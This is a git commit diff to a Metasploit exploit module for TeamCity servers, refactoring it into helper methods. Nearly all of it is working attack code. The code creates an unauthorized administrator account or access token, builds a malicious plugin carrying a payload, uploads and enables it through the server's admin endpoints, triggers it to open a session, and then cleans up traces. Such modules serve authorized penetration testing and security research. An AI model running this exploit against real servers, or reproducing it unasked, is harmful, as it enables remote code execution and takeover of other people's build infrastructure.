reduce the size of teh exploit method by spinngin out two new methods create_payload_plugin and auth_new_admin_user. several if/unless blocks were flattened to be inline if/unless

This commit is contained in:
sfewer-r7 2024-03-13 09:58:51 +00:00
parent 4bd105202a
commit 6d84f0e898
No known key found for this signature in database
1 changed files with 170 additions and 158 deletions

View File

@ -187,6 +187,175 @@ class MetasploitModule < Msf::Exploit::Remote
token_name = nil token_name = nil
token_value = nil token_value = nil
http_authorization = auth_new_admin_user
fail_with(Failure::NoAccess, 'Failed to login with new admin user credentials.') if http_authorization.nil?
else
unless res&.code == 200
# One reason token creation may fail is if we use a user ID for a user that does not exist. We detect that here
# and instruct the user to choose a new ID via the TEAMCITY_ADMIN_ID option.
if res && (res.code == 404) && res.body.include?('User not found')
print_warning('User not found. Try setting the TEAMCITY_ADMIN_ID option to a different ID.')
end
fail_with(Failure::UnexpectedReply, 'Failed to create an authentication token.')
end
# Extract the authentication token from the response.
token_value = res.get_xml_document&.xpath('/token')&.attr('value')&.to_s
fail_with(Failure::UnexpectedReply, 'Failed to read authentication token from reply.') if token_value.nil?
print_status("Created authentication token: #{token_value}")
http_authorization = "Bearer #{token_value}"
end
# As we have created an access token, this begin block ensures we delete the token when we are done.
begin
#
# 2. Create a malicious TeamCity plugin to host our payload.
#
plugin_name = Rex::Text.rand_text_alphanumeric(8)
zip_plugin = create_payload_plugin(plugin_name)
fail_with(Failure::BadConfig, 'Could not create the payload plugin.') if zip_plugin.nil?
#
# 3. Upload the payload plugin to the TeamCity server
#
print_status("Uploading plugin: #{plugin_name}")
message = Rex::MIME::Message.new
message.add_part(
"#{plugin_name}.zip",
nil,
nil,
'form-data; name="fileName"'
)
message.add_part(
zip_plugin.pack.to_s,
'application/octet-stream',
'binary',
"form-data; name=\"file:fileToUpload\"; filename=\"#{plugin_name}.zip\""
)
res = send_request_cgi(
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, 'admin', 'pluginUpload.html'),
'ctype' => 'multipart/form-data; boundary=' + message.bound,
'keep_cookies' => true,
'headers' => {
'Origin' => full_uri,
'Authorization' => http_authorization
},
'data' => message.to_s
)
fail_with(Failure::UnexpectedReply, 'Failed to upload the plugin.') unless res&.code == 200
#
# 4. We have to enable the newly uploaded plugin so the plugin actually loads into the server.
#
res = send_request_cgi(
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, 'admin', 'plugins.html'),
'keep_cookies' => true,
'headers' => {
'Origin' => full_uri,
'Authorization' => http_authorization
},
'vars_post' => {
'action' => 'loadAll',
'plugins' => plugin_name
}
)
fail_with(Failure::UnexpectedReply, 'Failed to load the plugin.') unless res&.code == 200
# As we have uploaded the plugin, this begin block ensure we delete the plugin when we are done.
begin
#
# 5. Begin to clean up, register several paths for cleanup.
#
if (install_path, sep = get_install_path(http_authorization))
vprint_status("Target install path: #{install_path}")
if target['Arch'] == ARCH_JAVA
# The Java payload plugin will have its buildServerResources extracted to a path like:
# C:\TeamCity\webapps\ROOT\plugins\yxfyjrBQ
# So we register this for cleanup.
# Note: The java process may recreate this a second time after we delete it.
register_dir_for_cleanup([install_path, 'webapps', 'ROOT', 'plugins', plugin_name].join(sep))
end
if (build_number = get_build_number(http_authorization))
vprint_status("Target build number: #{build_number}")
# The Tomcat web server will compile our ARCH_JAVA payload and store the associated .class files in a
# path like: C:\TeamCity\work\Catalina\localhost\ROOT\TC_147512_6vDwPWJs\org\apache\jsp\plugins\_6vDwPWJs\
# So we register this for cleanup too. This folder will be created for a ARCH_CMD payload, although
# it will be empty.
register_dir_for_cleanup([install_path, 'work', 'Catalina', 'localhost', 'ROOT', "TC_#{build_number}_#{plugin_name}"].join(sep))
else
print_warning('Could not discover build number. Unable to register Catalina files for cleanup.')
end
else
print_warning('Could not discover install path. Unable to register files for cleanup.')
end
# On a Linux target we see the extracted plugin file remaining here even after we delete the plugin.
# /home/teamcity/.BuildServer/system/caches/plugins.unpacked/XXXXXXXX/
if (data_path = get_data_dir_path(http_authorization))
vprint_status("Target data directory path: #{data_path}")
register_dir_for_cleanup([data_path, 'system', 'caches', 'plugins.unpacked', plugin_name].join(sep))
else
print_warning('Could not discover data directory path. Unable to register files for cleanup.')
end
#
# 6. Trigger the payload and get a session. ARCH_JAVA JSP payloads need us to hit an endpoint. ARCH_JAVA Java
# payloads and ARCH_CMD payloads are triggered upon enabling a loaded plugin.
#
if target['Arch'] == ARCH_JAVA && target['Platform'] != 'java'
res = send_request_cgi(
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, 'plugins', plugin_name, "#{plugin_name}.jsp"),
'keep_cookies' => true,
'headers' => {
'Origin' => full_uri,
'Authorization' => http_authorization
}
)
fail_with(Failure::UnexpectedReply, 'Failed to trigger the payload.') unless res&.code == 200
end
ensure
#
# 7. Ensure we delete the plugin from the server when we are finished.
#
print_status('Deleting the plugin...')
print_warning('Failed to delete the plugin.') unless delete_plugin(http_authorization, plugin_name)
end
ensure
#
# 8. Ensure we delete the access token we created when we are finished. If we authorized via a user name and
# password, we cannot delete the user account we created.
#
if token_name && token_value
print_status('Deleting the authentication token...')
print_warning('Failed to delete the authentication token.') unless delete_token(token_name, token_value)
end
end
end
def auth_new_admin_user
admin_username = Faker::Internet.username admin_username = Faker::Internet.username
admin_password = Rex::Text.rand_text_alphanumeric(16) admin_password = Rex::Text.rand_text_alphanumeric(16)
@ -211,7 +380,8 @@ class MetasploitModule < Msf::Exploit::Remote
) )
unless res&.code == 200 unless res&.code == 200
fail_with(Failure::UnexpectedReply, 'Failed to create an administrator user.') print_warning('Failed to create an administrator user.')
return nil
end end
print_status("Created account: #{admin_username}:#{admin_password} (Note: This account will not be deleted by the module)") print_status("Created account: #{admin_username}:#{admin_password} (Note: This account will not be deleted by the module)")
@ -231,38 +401,14 @@ class MetasploitModule < Msf::Exploit::Remote
# A failed login attempt will return in a 401. We expect a 302 redirect upon success. # A failed login attempt will return in a 401. We expect a 302 redirect upon success.
if res&.code == 401 if res&.code == 401
fail_with(Failure::NoAccess, 'Failed to login with new admin user credentials.') print_warning('Failed to login with new admin user credentials.')
end return nil
else
unless res&.code == 200
# One reason token creation may fail is if we use a user ID for a user that does not exist. We detect that here
# and instruct the user to choose a new ID via the TEAMCITY_ADMIN_ID option.
if res && (res.code == 404) && res.body.include?('User not found')
print_warning('User not found. Try setting the TEAMCITY_ADMIN_ID option to a different ID.')
end end
fail_with(Failure::UnexpectedReply, 'Failed to create an authentication token.') http_authorization
end end
# Extract the authentication token from the response. def create_payload_plugin(plugin_name)
token_value = res.get_xml_document&.xpath('/token')&.attr('value')&.to_s
if token_value.nil?
fail_with(Failure::UnexpectedReply, 'Failed to read authentication token from reply.')
end
print_status("Created authentication token: #{token_value}")
http_authorization = "Bearer #{token_value}"
end
# As we have created an access token, this begin block ensures we delete the token when we are done.
begin
#
# 2. Create a malicious TeamCity plugin to host our payload.
#
plugin_name = Rex::Text.rand_text_alphanumeric(8)
if target['Arch'] == ARCH_CMD if target['Arch'] == ARCH_CMD
case target['Platform'] case target['Platform']
@ -273,7 +419,8 @@ class MetasploitModule < Msf::Exploit::Remote
shell = '/bin/sh' shell = '/bin/sh'
flag = '-c' flag = '-c'
else else
fail_with(Failure::BadConfig, 'Unsupported target platform') print_warning('Unsupported target platform.')
return nil
end end
zip_resources = Rex::Zip::Archive.new zip_resources = Rex::Zip::Archive.new
@ -339,7 +486,8 @@ class MetasploitModule < Msf::Exploit::Remote
end end
else else
fail_with(Failure::BadConfig, 'Unsupported target architecture') print_warning('Unsupported target architecture.')
return nil
end end
zip_plugin = Rex::Zip::Archive.new zip_plugin = Rex::Zip::Archive.new
@ -366,143 +514,7 @@ class MetasploitModule < Msf::Exploit::Remote
zip_plugin.add_file("server/#{plugin_name}.jar", zip_resources.pack) zip_plugin.add_file("server/#{plugin_name}.jar", zip_resources.pack)
# zip_plugin
# 3. Upload the payload plugin to the TeamCity server
#
print_status("Uploading plugin: #{plugin_name}")
message = Rex::MIME::Message.new
message.add_part(
"#{plugin_name}.zip",
nil,
nil,
'form-data; name="fileName"'
)
message.add_part(
zip_plugin.pack.to_s,
'application/octet-stream',
'binary',
"form-data; name=\"file:fileToUpload\"; filename=\"#{plugin_name}.zip\""
)
res = send_request_cgi(
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, 'admin', 'pluginUpload.html'),
'ctype' => 'multipart/form-data; boundary=' + message.bound,
'keep_cookies' => true,
'headers' => {
'Origin' => full_uri,
'Authorization' => http_authorization
},
'data' => message.to_s
)
unless res&.code == 200
fail_with(Failure::UnexpectedReply, 'Failed to upload the plugin.')
end
#
# 4. We have to enable the newly uploaded plugin so the plugin actually loads into the server.
#
res = send_request_cgi(
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, 'admin', 'plugins.html'),
'keep_cookies' => true,
'headers' => {
'Origin' => full_uri,
'Authorization' => http_authorization
},
'vars_post' => {
'action' => 'loadAll',
'plugins' => plugin_name
}
)
unless res&.code == 200
fail_with(Failure::UnexpectedReply, 'Failed to load the plugin.')
end
# As we have uploaded the plugin, this begin block ensure we delete the plugin when we are done.
begin
#
# 5. Begin to clean up, register several paths for cleanup.
#
if (install_path, sep = get_install_path(http_authorization))
vprint_status("Target install path: #{install_path}")
if target['Arch'] == ARCH_JAVA
# The Java payload plugin will have its buildServerResources extracted to a path like:
# C:\TeamCity\webapps\ROOT\plugins\yxfyjrBQ
# So we register this for cleanup.
# Note: The java process may recreate this a second time after we delete it.
register_dir_for_cleanup([install_path, 'webapps', 'ROOT', 'plugins', plugin_name].join(sep))
end
if (build_number = get_build_number(http_authorization))
vprint_status("Target build number: #{build_number}")
# The Tomcat web server will compile our ARCH_JAVA payload and store the associated .class files in a
# path like: C:\TeamCity\work\Catalina\localhost\ROOT\TC_147512_6vDwPWJs\org\apache\jsp\plugins\_6vDwPWJs\
# So we register this for cleanup too. This folder will be created for a ARCH_CMD payload, although
# it will be empty.
register_dir_for_cleanup([install_path, 'work', 'Catalina', 'localhost', 'ROOT', "TC_#{build_number}_#{plugin_name}"].join(sep))
else
print_warning('Could not discover build number. Unable to register Catalina files for cleanup.')
end
else
print_warning('Could not discover install path. Unable to register files for cleanup.')
end
# On a Linux target we see the extracted plugin file remaining here even after we delete the plugin.
# /home/teamcity/.BuildServer/system/caches/plugins.unpacked/XXXXXXXX/
if (data_path = get_data_dir_path(http_authorization))
vprint_status("Target data directory path: #{data_path}")
register_dir_for_cleanup([data_path, 'system', 'caches', 'plugins.unpacked', plugin_name].join(sep))
else
print_warning('Could not discover data directory path. Unable to register files for cleanup.')
end
#
# 6. Trigger the payload and get a session. ARCH_JAVA JSP payloads need us to hit an endpoint. ARCH_JAVA Java
# payloads and ARCH_CMD payloads are triggered upon enabling a loaded plugin.
#
if target['Arch'] == ARCH_JAVA && target['Platform'] != 'java'
res = send_request_cgi(
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, 'plugins', plugin_name, "#{plugin_name}.jsp"),
'keep_cookies' => true,
'headers' => {
'Origin' => full_uri,
'Authorization' => http_authorization
}
)
unless res&.code == 200
fail_with(Failure::UnexpectedReply, 'Failed to trigger the payload.')
end
end
ensure
#
# 7. Ensure we delete the plugin from the server when we are finished.
#
print_status('Deleting the plugin...')
print_warning('Failed to delete the plugin.') unless delete_plugin(http_authorization, plugin_name)
end
ensure
#
# 8. Ensure we delete the access token we created when we are finished. If we authorized via a user name and
# password, we cannot delete the user account we created.
#
if token_name && token_value
print_status('Deleting the authentication token...')
print_warning('Failed to delete the authentication token.') unless delete_token(token_name, token_value)
end
end
end end
def get_install_path(http_authorization) def get_install_path(http_authorization)